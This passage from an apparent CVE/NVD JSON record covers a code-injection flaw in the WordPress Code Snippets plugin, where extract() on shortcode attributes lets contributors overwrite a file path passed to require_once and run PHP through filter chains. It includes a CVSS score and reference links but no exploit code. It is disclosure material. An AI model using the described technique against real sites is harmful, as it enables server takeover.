This is due to the plugin's use of extract() on attacker-controlled shortcode attributes within the `evaluate_shortcode_from_flat_file` method, which can be used to overwrite the `$filepath` variable and subsequently passed to require_once. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute arbitrary PHP code on the server via the `[code_snippet]` shortcode using PHP filter chains granted they can trick an administrator into enabling the \"Enable file-based execution\" setting and creating at least one active Content snippet."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/code-snippets/tags/3.8.1/php/front-end/class-front-end.php#L295", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/code-snippets/tags/3.8.1/php/front-end/class-front-end.php#L296", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3397635%40code-snippets%2Ftrunk&old=3395415%40code-snippets%2Ftrunk&sfp_email=&sfph_mail=#file23", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c7c7247c-2fc3-46ff-858e-2242b7211476?source=cve", "source": "[email protected]"}]}}
